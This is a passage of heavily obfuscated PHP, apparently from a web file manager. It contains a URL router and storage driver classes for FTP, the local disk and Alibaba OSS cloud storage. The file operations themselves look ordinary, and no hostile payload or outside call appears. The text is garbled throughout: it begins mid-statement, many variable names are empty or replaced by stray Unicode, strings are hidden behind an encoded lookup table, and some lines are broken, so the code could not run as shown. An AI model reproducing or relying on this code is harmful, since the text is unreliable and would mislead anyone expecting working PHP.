$_SERVER[ö][378]); } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\x6e\171" => "\x5b\136\57\135\x2b", "\72\156\165\155" => "\133\x30\55\71\135\53", "\x3a\141\x6c\x6c" => "\x2e\52"); public static $errorCallback; public static function __callstatic($ĩ, $Ѕ慼) { $՜ =& $_SERVER[ö]; if ($ĩ == $՜[1621]) { $ݣۇ = array_map($՜[1622], $Ѕ慼[0]); $ت = strpos($Ѕ慼[1], $՜[8]) === 0 ? $Ѕ慼[1] : $՜[8] . $Ѕ慼[1]; $ʽ = $Ѕ慼[2]; } else { $ݣۇ = null; $ت = strpos($Ѕ慼[0], $՜[8]) === 0 ? $Ѕ慼[0] : $՜[8] . $Ѕ慼[0]; $ʽ = $Ѕ慼[1]; } array_push(self::$maps, $ݣۇ); array_push(self::$routes, $ت); array_push(self::$methods, strtoupper($ĩ)); array_push(self::$callbacks, $ʽ); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $Ӧޝ =& $_SERVER[ö]; $ʸ = parse_url($_SERVER[$Ӧޝ[1623]], PHP_URL_PATH); $Ё = $_SERVER[$Ӧޝ[159]]; $֛ = array_keys(static::$patterns); $ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($Ӧޝ[1291], $Ӧޝ[8], self::$routes); if (in_array($ʸ, self::$routes)) { $ = array_keys(self::$routes, $ʸ); foreach ($ as $㲟) { if (self::$methods[$㲟] == $Ё || self::$methods[$㲟] == $Ӧޝ[1624] || in_array($Ё, self::$maps[$㲟])) { $ = !0; if (!is_object(self::$callbacks[$㲟])) { $ױ = explode($Ӧޝ[8], self::$callbacks[$㲟]); $暝 = end($ױ); $֓ď = explode($Ӧޝ[1223], $暝); $Ֆ = new $֓ď[0](); $Ֆ->{$֓ď[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$㲟]); if (self::$halts) { return; } } } } } else { $ɫ = 0; foreach (self::$routes as $㲟) { if (strpos($㲟, $Ӧޝ[4]) !== !1) { $㲟 = str_replace($֛, $, $㲟); } if (preg_match($Ӧޝ[1625] . $㲟 . $Ӧޝ[1626], $ʸ, $)) { if (self::$methods[$ɫ] == $Ё || self::$methods[$ɫ] == $Ӧޝ[1624] || !empty(self::$maps[$ɫ]) && in_array($Ё, self::$maps[$ɫ])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$ɫ])) { $ױ = explode($Ӧޝ[8], self::$callbacks[$ɫ]); $暝 = end($ױ); $֓ď = explode($Ӧޝ[1223], $暝); $Ֆ = new $֓ď[0](); if (!method_exists($Ֆ, $֓ď[1])) { echo $Ӧޝ[1627]; } else { call_user_func_array(array($Ֆ, $֓ď[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ɫ], $); if (self::$halts) { return; } } } } $ɫ++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ߣ =& $_SERVER[ö]; header($_SERVER[$ߣ[1628]] . $ߣ[1629]); echo $ߣ[1630]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$Ӧޝ[1623]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto A; aᩂ: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; private $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ꄇ) { $Ó =& $_SERVER[ö]; global $config; $this->appCharset = $config[$Ó[1387]]; $this->systemCharset = $config[$Ó[1388]]; if (isset($ꄇ[$Ó[1389]]) && $ꄇ[$Ó[1389]]) { $this->systemCharset = $ꄇ[$Ó[1389]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($獤) { $ =& $_SERVER[ö]; $Ƒ = $this->iconvApp($this->pathBase); $獤 = $this->iconvApp($獤); if (substr($Ƒ, 0, 2) == $[1390]) { $Ƒ = BASIC_PATH . substr($Ƒ, 2); } if (substr($獤, 0, 2) == $[1390]) { $獤 = BASIC_PATH . substr($獤, 2); } $Ƒ = KodIO::clear($Ƒ); $獤 = KodIO::clear($獤); $獤 = substr($獤, strlen($Ƒ)); if (empty($this->pathDriver)) { return $獤; } return $this->pathDriver . $[8] . ltrim($獤, $[8]); } private function _init($ = array()) { $Ȇڿ =& $_SERVER[ö]; if (!function_exists($Ȇڿ[1391])) { throw new Exception(LNG($Ȇڿ[1392])); } $this->config = $; $this->charsetReset($); foreach ($ as $諉 => $툻) { if (isset($this->{$諉})) { $this->{$諉} = $툻; } } return $this->_login($); } private function _login($Ⱦ) { $ɿ =& $_SERVER[ö]; static $ = array(); $ = md5(json_encode($Ⱦ)); if (isset($[$])) { foreach ($[$] as $ => $) { $this->{$} = $; } return !0; } $К = parse_url(trim($this->server, $ɿ[8])); $this->host = $К[$ɿ[181]]; $م = isset($К[$ɿ[180]]) && $К[$ɿ[180]] == $ɿ[1393] ? !0 : !1; $this->scheme = $م ? $ɿ[1394] : $ɿ[1395]; $this->port = isset($К[$ɿ[182]]) ? $К[$ɿ[182]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $㦸 = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $Ջ = $this->pasv == $ɿ[88] ? !0 : !1; @ftp_pasv($this->connect, $Ջ); $[$] = array($ɿ[1396] => $this->connect, $ɿ[181] => $this->host, $ɿ[180] => $this->scheme, $ɿ[182] => $this->port); return $㦸; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($ҁ, $؍ = '', $թ = REPEAT_RENAME) { if ($this->setContent($ҁ, $؍)) { return $this->getPathOuter($ҁ); } return !1; } public function mkdir($̈́, $Ɣܔ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $̈́ = $this->iconvSystem($̈́); if ($this->_isFolder($̈́) || @ftp_mkdir($this->connect, $̈́)) { return $this->getPathOuter($̈́); } if (!$this->mkdir($this->pathFather($̈́))) { return !1; } if ($̈́ = @ftp_mkdir($this->connect, $̈́)) { return $this->getPathOuter($̈́); } return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $Ԏ = $this->pathThis($this->iconvSystem($)); $ƭ = $this->tempFile($Ԏ); $̍ = $this->iconvApp($ƭ); $this->download($, $̍); $ٽݻ = $this->upload($, $̍); $this->tempFileRemve($ƭ); return $ٽݻ; } public function moveFile($ϖ, $끗) { if (!$this->_isconn()) { return !1; } $ϖ = $this->iconvSystem($ϖ); $끗 = $this->iconvSystem($끗); $Ξ = @ftp_rename($this->connect, $ϖ, $끗); return $Ξ ? $this->getPathOuter($끗) : !1; } public function delFile($ƨ) { if (!$this->_isconn()) { return !1; } $ƨ = $this->iconvSystem($ƨ); return @ftp_delete($this->connect, $ƨ); } public function delFolder($ː) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $û = $锪 = array(); $this->fileList($ː, $û, $锪, !0); $this->listItemCache = !0; foreach ($锪 as $ʷ) { $ = $this->iconvSystem($ʷ[$_SERVER[ö][32]]); $ߥ = @ftp_delete($this->connect, $); if (!$ߥ) { return !1; } } foreach ($û as $) { $ = $this->iconvSystem($); $ߥ = @ftp_rmdir($this->connect, $); if (!$ߥ) { return !1; } } $ː = $this->iconvSystem($ː); return @ftp_rmdir($this->connect, $ː); } public function rename($뾱, $) { $ =& $_SERVER[ö]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($뾱), $); $ = $this->iconvSystem($); $뾱 = $this->iconvSystem($뾱); $҉ = $this->pathFather($뾱); $ͣ = rtrim($҉, $[8]) . $[8] . $; $ש = @ftp_rename($this->connect, $뾱, $ͣ); $ͣ = $this->iconvApp($ͣ); return $ש ? $this->getPathOuter($ͣ) : !1; } private function folderInfo($
˂, $ረ = false) { $ڞ =& $_SERVER[ö]; $ = array($ڞ[32] => $this->pathThis($
˂), $ڞ[84] => $this->getPathOuter($ڞ[8] . $
˂), $ڞ[33] => $ڞ[75]); if ($ረ) { return $; } $[$ڞ[200]] = $[$ڞ[85]] = 0; $[$ڞ[201]] = $[$ڞ[202]] = !0; return $; } private function fileInfo($ʧ¯, $ = false, $͆ = array()) { $ =& $_SERVER[ö]; $ǔ = array($[32] => $this->pathThis($ʧ¯), $[84] => $this->getPathOuter($[8] . $ʧ¯), $[33] => $[199], $[76] => isset($͆[$[76]]) ? $͆[$[76]] : 0, $[174] => $this->ext($ʧ¯)); if ($) { return $ǔ; } $ǔ[$[200]] = $ǔ[$[85]] = 0; $ǔ[$[201]] = $ǔ[$[202]] = !0; $ = $this->iconvSystem($ʧ¯); $ǔ[$[85]] = @ftp_mdtm($this->connect, $); if (empty($͆)) { $͆ = $this->objectMeta($ʧ¯); if (!$͆) { return $ǔ; } } $ǔ[$[76]] = $͆[$[76]]; return $ǔ; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[ö][76]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$ݒΒ, &$ؓ, $ = false) { $ =& $_SERVER[ö]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $[8]); $ = rtrim($, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $ = array($[10] => 1, $[1397] => 1); foreach ($ as $) { $ď؉Ћ = $this->_listItem($); if ($ď؉Ћ[0] == $[765]) { continue; } $ɪ = $ď؉Ћ[8]; if (empty($ɪ) && $ɪ !== $[197] || isset($[$ɪ])) { continue; } $ɪ = $this->iconvApp($ . ltrim($ɪ, $[8])); $Գ = array($[32] => $ɪ, $[33] => $[199], $[76] => $ď؉Ћ[4]); if (substr($, 0, 1) == $[1398]) { $Գ[$[33]] = $[75]; $Գ[$[76]] = 0; } $̧ = $Գ[$[33]] == $[75] ? !0 : !1; $this->cacheMethodInfoSet($ɪ, $̧, $Գ); if ($̧) { $ݒΒ[] = $ɪ; if ($) { $this->fileList($ɪ, $ݒΒ, $ؓ, $); } continue; } $ؓ[] = $Գ; } $this->cacheMethodInfoSet($, !0); } private function _listItem($) { if (empty($)) { return array(); } $Ӈ = preg_split($_SERVER[ö][1399], $); if (count($Ӈ) <= 9) { return $Ӈ; } $Ӈ[8] = trim(substr($, strpos($, $Ӈ[7]) + strlen($Ӈ[7]))); return array_splice($Ӈ, 0, 9); } public function listPath($ы, $ދ = false) { $̢ =& $_SERVER[ö]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ы, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $ދ); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$̢[32]], $ދ, $); } return array($̢[82] => $, $̢[83] => $); } public function has($ں, $Έ = false, $ = true) { $ጐ =& $_SERVER[ö]; $ = $ = array(); $Ӫ = $Έ ? !0 : !1; $this->fileList($ں, $, $, $Ӫ); if ($Έ) { return array($ጐ[207] => count($), $ጐ[208] => count($)); } if ($) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($ΗLj) { $ =& $_SERVER[ö]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ΗLj, $, $, !0); $ܹ = array(); foreach ($ as $ś) { $ܹ[$ś[$[32]]] = $ś[$[76]]; } foreach ($ as $ś) { if (is_string($ś)) { $ܹ[$ś] = 0; } } return $this->listAllFiles($ΗLj, array_keys($ܹ), $ܹ); } public function getContent($ǟ) { if (!$this->_isconn()) { return !1; } $ǟ = $this->iconvSystem($ǟ); return $this->fileSubstr($ǟ); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $κ = $this->pathThis($this->iconvSystem($)); $̳ = $this->tempFile($κ); file_put_contents($̳, $); $趈 = $this->upload($, $this->iconvApp($̳)); $this->tempFileRemve($̳); return $趈; } public function fileSubstr($, $Ҡ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $Ҡ, $); } private function ftpRequest($, $ = 0, $ = false) { $ = $this->iconvSystem($); $ٞ = $this->scheme . $this->host . $_SERVER[ö][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ٞ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($) { $ˋ = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\55{$ˋ}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($, $ܙށ, $˘ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ܙށ = $this->iconvSystem($ܙށ); $Ŧ = ftp_nb_put($this->connect, $, $ܙށ, FTP_BINARY); while ($Ŧ == FTP_MOREDATA) { $Ŧ = ftp_nb_continue($this->connect); } if ($Ŧ != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($, $Ϊ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathFather($Ϊ); if (!IO::mkdir($)) { return !1; } $ = $this->iconvSystem($); $Ϊ = $this->iconvSystem($Ϊ); $ = ftp_nb_get($this->connect, $Ϊ, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->iconvApp($Ϊ); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ά) { return !$this->isFolder($ά) && $this->objectMeta($ά); } public function isFolder($) { return $this->cacheMethod($_SERVER[ö][165], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ö][167], $); } protected function _objectMeta($ˌ) { $㶉 =& $_SERVER[ö]; if ($ˌ == $㶉[12] || $ˌ == $㶉[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ˌ = $this->iconvSystem($ˌ); $Ҁ = array($㶉[32] => $this->iconvApp($ˌ), $㶉[33] => $㶉[199], $㶉[76] => 0); @ftp_chdir($this->connect, $㶉[8]); $䊌 = @ftp_size($this->connect, $ˌ); if ($䊌 != -1) { $Ҁ[$㶉[76]] = $䊌; } else { $ω = @ftp_chdir($this->connect, $ˌ); if (!$ω) { return !1; } $Ҁ[$㶉[33]] = $㶉[75]; } return $Ҁ; } protected function _isFolder($) { $ =& $_SERVER[ö]; if ($ == $[12] || $ == $[8]) { return !0; } $ۘ = $this->_objectMeta($); return isset($ۘ[$[33]]) && $ۘ[$[33]] == $[75] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[ö][1390]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($˚) { $і =& $_SERVER[ö]; global $config; return $this->iconvTo($˚, $config[$і[1388]], $config[$і[1387]]); } public function iconvSystem($ٝ) { $י =& $_SERVER[ö]; global $config; return $this->iconvTo($ٝ, $config[$י[1387]], $config[$י[1388]]); } public function getPathOuter($Ї) { $ =& $_SERVER[ö]; $ě = $this->iconvApp($this->pathBase); $Ї = $this->iconvApp($Ї); if (substr($ě, 0, 2) == $[1390]) { $ě = BASIC_PATH . substr($ě, 2); } if (substr($Ї, 0, 2) == $[1390]) { $Ї = BASIC_PATH . substr($Ї, 2); } $ě = KodIO::clear($ě); $Ї = KodIO::clear($Ї); $Ї = substr($Ї, strlen($ě)); if (empty($this->pathDriver)) { return $Ї; } return $this->pathDriver . $[8] . ltrim($Ї, $[8]); } public function mkfile($Ŋ, $ = '', $ߪ = REPEAT_RENAME) { $Ŋ = $this->iconvSystem($Ŋ); @touch($Ŋ); if ($) { file_put_contents($Ŋ, $); } @chmod($Ŋ, $this->pathAuth); return is_file($Ŋ) ? $this->getPathOuter($Ŋ) : !1; } public function mkdir($ԅ, $ = REPEAT_SKIP) { $ԅ = $this->iconvSystem($ԅ); if (is_dir($ԅ)) { return $this->getPathOuter($ԅ); } @mkdir($ԅ, $this->pathAuth, !0); @chmod($ԅ, $this->pathAuth); return is_dir($ԅ) ? $this->getPathOuter($ԅ) : !1; } public function copyFile($Ӟ, $垥) { $this->mkdir($this->pathFather($垥)); $Ӟ = $this->iconvSystem($Ӟ); $垥 = $this->iconvSystem($垥); $ = copy_64($Ӟ, $垥); @chmod($垥, $this->pathAuth); return $ ? $this->getPathOuter($垥) : !1; } public function moveFile($ƥ, $ހ) { $this->mkdir($this->pathFather($ހ)); $ƥ = $this->iconvSystem($ƥ); $ހ = $this->iconvSystem($ހ); $Đ = intval(@rename($ƥ, $ހ)); if (!$Đ) { if ($Đ = intval(@copy_64($ƥ, $ހ))) { @unlink($ƥ); } } @chmod($ހ, $this->pathAuth); return $Đ ? $this->getPathOuter($ހ) : !1; } public function movePath($, $Ҥ, $ = false) { $伮 =& $_SERVER[ö]; $ = $this->iconvSystem($); $Ҥ = $this->iconvSystem($Ҥ); $л = rtrim($Ҥ, $伮[8]) . $伮[8] . ($ ? $ : get_path_this($)); if (file_exists($л)) { return !1; } $ϐ = intval(@rename($, $л)); $ϐ = file_exists($л); return $ϐ ? $this->getPathOuter($л) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($) { $Ţ =& $_SERVER[ö]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ր = opendir($))) { return !1; } while (($ = readdir($ր)) !== !1) { if ($ == $Ţ[10] || $ == $Ţ[1397]) { continue; } $̇ = $ . $Ţ[8] . $; if (is_file($̇) || is_link($̇)) { if (!unlink($̇)) { chmod($̇, $this->pathAuth); if (!unlink($̇)) { return !1; } } } else { if (is_dir($̇)) { chmod($̇, $this->pathAuth); $̇ = $this->iconvApp($̇); if (!$this->delFolder($̇)) { return !1; } } } } closedir($ր); return rmdir($); } public function rename($ҹ, $措) { $ω =& $_SERVER[ö]; $֓ = $this->fileNameAuto($this->pathFather($ҹ), $措); $֓ = $this->iconvSystem($֓); $ҹ = $this->iconvSystem($ҹ); $ = $this->pathFather($ҹ); $ = rtrim($, $ω[8]) . $ω[8] . $֓; $Ͳ = @rename($ҹ, $); $ = $this->iconvApp($); return $Ͳ ? $this->getPathOuter($) : !1; } public function size($լ߰) { $լ߰ = $this->iconvSystem($լ߰); return filesize_64($լ߰); } public function info($γ) { $γ = $this->iconvSystem($γ); if ($this->isFolder($γ)) { return $this->folderInfo($γ); } else { if ($this->isFile($γ)) { return $this->fileInfo($γ); } } return !1; } protected function infoChildren($ϔ, &$ƍ, $ = true) { $Ի =& $_SERVER[ö]; check_abort_echo(); $ϔ = rtrim($ϔ, $Ի[8]) . $Ի[8]; if ($) { $ϔ = $this->iconvSystem($ϔ); } if (!($˃ = @opendir($ϔ))) { return; } while (($ = readdir($˃)) !== !1) { if ($ == $Ի[10] || $ == $Ի[1397]) { continue; } $ = $ϔ . $; if (is_file($) || is_link($)) { $ƍ[$Ի[77]]++; $ƍ[$Ի[76]] += filesize_64($); } else { if (is_dir($)) { $ƍ[$Ի[78]]++; $this->infoChildren($, $ƍ, !1); } } } closedir($˃); } private function folderInfo($µ, $҈ = false) { $ =& $_SERVER[ö]; $µ = rtrim($µ, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($µ)); if ($҈) { return array($[32] => $, $[84] => $this->getPathOuter($µ), $[33] => $[75]); } $됲 = array($[32] => $, $[84] => $this->getPathOuter($µ), $[33] => $[75], $[200] => @filectime($µ), $[85] => @filemtime($µ), $[1400] => @fileatime($µ), $[1401] => is_readable($µ), $[1402] => is_writable($µ), $[1403] => get_mode($µ)); return $됲; } private function fileInfo($Ȅ, $ޞ = false) { $ˁ =& $_SERVER[ö]; $Ȱ = $this->iconvApp($this->pathThis($Ȅ)); if ($ޞ) { return array($ˁ[32] => $Ȱ, $ˁ[84] => $this->getPathOuter($Ȅ), $ˁ[33] => $ˁ[199], $ˁ[76] => $this->size($Ȅ), $ˁ[174] => $this->ext($Ȱ)); } $붴 = array($ˁ[32] => $Ȱ, $ˁ[84] => $this->getPathOuter($Ȅ), $ˁ[33] => $ˁ[199], $ˁ[200] => @filectime($Ȅ), $ˁ[85] => @filemtime($Ȅ), $ˁ[1400] => @fileatime($Ȅ), $ˁ[76] => $this->size($Ȅ), $ˁ[174] => $this->ext($Ȱ), $ˁ[1401] => is_readable($Ȅ), $ˁ[1402] => is_writable($Ȅ), $ˁ[1403] => get_mode($Ȅ)); return $붴; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($±) { $± = $this->iconvSystem($±); return @is_dir($±); } public function listPath($֓, $ęΖ = false) { $ =& $_SERVER[ö]; $֓ = $this->iconvSystem($֓); $֓ = rtrim($֓, $[8]) . $[8]; $ͣ = array($[82] => array(), $[83] => array()); if (!($ = @opendir($֓))) { return $ͣ; } while (($Ǧ = readdir($)) !== !1) { if ($Ǧ == $[10] || $Ǧ == $[1397]) { continue; } $ = $֓ . $Ǧ; if (is_file($)) { $ͣ[$[83]][] = $this->fileInfo($, $ęΖ); } else { $ͣ[$[82]][] = $this->folderInfo($, $ęΖ); } } closedir($); return $ͣ; } public function listAll($ΫҌ, &$ = array()) { $ =& $_SERVER[ö]; $ΫҌ = $this->iconvSystem($ΫҌ); $ΫҌ = rtrim($ΫҌ, $[8]) . $[8]; if (!($ = @opendir($ΫҌ))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1397]) { continue; } $ = $ΫҌ . $; if (is_dir($) && !is_link($)) { $[] = array($[84] => $ . $[8], $[75] => 1, $[85] => @filemtime($), $[76] => 0); $this->listAll($, $); } else { $[] = array($[84] => $, $[75] => 0, $[85] => @filemtime($), $[76] => $this->size($)); } } closedir($); return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[ö]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $̩ = 0; $ = 0; while (($솾ް = readdir($)) !== !1) { if ($솾ް == $[10] || $솾ް == $[1397]) { continue; } $ = $ . $솾ް; if ($) { $++; if (@is_file($)) { $++; } else { $̩++; } if ($ > 10000) { break; } continue; } if ($) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) { return array($[207] => $, $[208] => $̩); } return !1; } public function hashSimple($ԉ) { $ =& $_SERVER[ö]; if (!$ԉ) { return md5($[12]); } $ԉ = $this->iconvSystem($ԉ); $ = $this->size($ԉ); $ĝ = 200; $ڬ˲ = 50; if ($ <= $ĝ * $ڬ˲) { return $this->hashMd5($ԉ) . $; } $ = $[12]; $ٮ = intval($ / $ڬ˲); $ = fopen($ԉ, $[1404]); if (!$) { return $; } for ($Ϧ = 0; $Ϧ < $ڬ˲; $Ϧ++) { fseek_64($, $ٮ * $Ϧ); $ .= fread($, $ĝ); } fseek_64($, $ - $ĝ); $ .= fread($, $ĝ); fclose($); return md5($) . $; } public function getContent($ڡ) { $ڡ = $this->iconvSystem($ڡ); return file_get_contents($ڡ); } public function setContent($܍, $ = '') { $܍ = $this->iconvSystem($܍); $Ǟ = @file_put_contents($܍, $, LOCK_EX); clearstatcache(); @chmod($܍, $this->pathAuth); return $Ǟ === !1 ? !1 : !0; } public function fileSubstr($½, $ = 0, $Ǻ = false) { $م =& $_SERVER[ö]; $½ = $this->iconvSystem($½); if ($Ǻ === !1) { $Ǻ = $this->size($½); } if ($Ǻ <= 0) { return $م[12]; } $֑ = fopen($½, $م[1404]); if (!$֑) { return !1; } fseek_64($֑, $); $£ = fread($֑, $Ǻ); fclose($֑); return $£; } public function upload($ŵ, $ӽ־, $ֈ = false, $ꋥ = REPEAT_REPLACE) { if ($ֈ) { return $this->moveFile($ӽ־, $ŵ); } return $this->copyFile($ӽ־, $ŵ); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($
, $) { return $this->iconvSystem($
); } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($㕊Ч) { parent::__construct($㕊Ч); $this->signatureVersion($_SERVER[ö][216]); } public function fileOutLink($) { $ঌ =& $_SERVER[ö]; if (substr($, 0, 7) == $ঌ[1348]) { $ = $ঌ[1349] . substr($, 7); } header($ঌ[161] . $); die; } } goto eͫ; eͫ: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[ö][1405]; $this->_init($); } public function _init($ִ) { $玛 =& $_SERVER[ö]; foreach ($ִ as $ե֦ => $Ω) { if (isset($this->{$ե֦})) { $this->{$ե֦} = $Ω; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($玛[1406] . LNG($玛[1407])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ĵ =& $_SERVER[ö]; $ = new OSS\Model\CorsConfig(); $˚ = new OSS\Model\CorsRule(); $˚->addAllowedOrigin($ĵ[1408]); $˚->addAllowedMethod($ĵ[1409]); $˚->addAllowedMethod($ĵ[1410]); $˚->addAllowedMethod($ĵ[1411]); $˚->addAllowedMethod($ĵ[1412]); $˚->addAllowedMethod($ĵ[160]); $˚->setMaxAgeSeconds(600); $˚->addExposeHeader($ĵ[1413]); $˚->addAllowedHeader($ĵ[1408]); $->addRule($˚); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $ߜް) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[ö]; $ӂ = null; try { $ӂ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $휷) { return null; } if (!$ӂ || !($ = $ӂ->getRules())) { return null; } $ծӁ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ꈛ = $[0]->getMaxAgeSeconds(); $ = $[0]->getExposeHeaders(); $̣ = $[0]->getAllowedHeaders(); return array($[187] => isset($ծӁ[0]) ? $ծӁ[0] : $[12], $[191] => $, $[1414] => $ꈛ, $[1415] => isset($[0]) ? $[0] : $[12], $[189] => isset($̣[0]) ? $̣[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[ö]; $« = $this->getBucketCors(); if (!$« || !is_array($«)) { return !1; } if ($«[$[187]] != $[188] || $«[$[189]] != $[188]) { return !1; } $ڊ = array_map($[190], $«[$[191]]); if (!is_array($ڊ)) { $ڊ = array(); } $ә = array($[192], $[193], $[194], $[195], $[196]); $ = array_diff($ә, $ڊ); return empty($); } public function mkfile($, $ = '', $Ʀ = REPEAT_RENAME) { $ʠ߰ = $this->setContent($, $); if ($ʠ߰ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($ʡ, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($ʡ)) { return $this->getPathOuter($ʡ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ʡ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ʡ); } private function fileList($ђ, $ = '', $ = 0) { $ =& $_SERVER[ö]; $ђ = trim($ђ, $[8]); $ = empty($ђ) && $ђ !== $[197] ? $[12] : $ђ . $[8]; $ = $[12]; $ = 1000; $ئ = $à = array(); while (!0) { check_abort(); $֤֡ = array($[1416] => $, $[1417] => $, $[1418] => $, $[1419] => $); try { $ʌʋ = $this->client->listObjects($this->bucket, $֤֡); } catch (OSS\Core\OssException $⦕) { break; } $ = $ʌʋ->getNextMarker(); $¹Ŭ = $ʌʋ->getObjectList(); $ȥ = $ʌʋ->getPrefixList(); foreach ($¹Ŭ as $О) { if ($О->getKey() == $) { continue; } $ܩ = $О->getKey(); $㩓 = $О->getSize(); $Ҕ = $О->getLastModified(); $旝 = $ ? array($[32] => $ܩ, $[76] => $㩓, $[203] => strtotime($Ҕ)) : $ܩ; $ُ = $㩓 == 0 && substr($ܩ, strlen($ܩ) - 1, 1) == $[8] ? !0 : !1; $ = array($[76] => $㩓, $[1420] => $㩓, $[85] => strtotime($Ҕ), $[1421] => $Ҕ); $this->cacheMethodInfoSet($ܩ, $ُ, $); if ($ُ) { $ئ[] = $ܩ; continue; } $à[] = $旝; } foreach ($ȥ as $҄) { $ئ[] = $҄->getPrefix(); $this->cacheMethodInfoSet($҄->getPrefix(), !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($ђ, !0); return array($[82] => $ئ, $[83] => $à); } public function copyFile($, $) { $ۘ = $this->size($); if ($ۘ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $嘟) { return !1; } return $this->getPathOuter($); } $ޝ = $this->multiCopyObject($, $, $ۘ); return $ޝ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $؈) { $ᵮ =& $_SERVER[ö]; try { $݀ = array(); if ($ = $this->hashMd5($)) { $݀ = array(OSS\OssClient::OSS_HEADERS => array($ᵮ[1422] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, 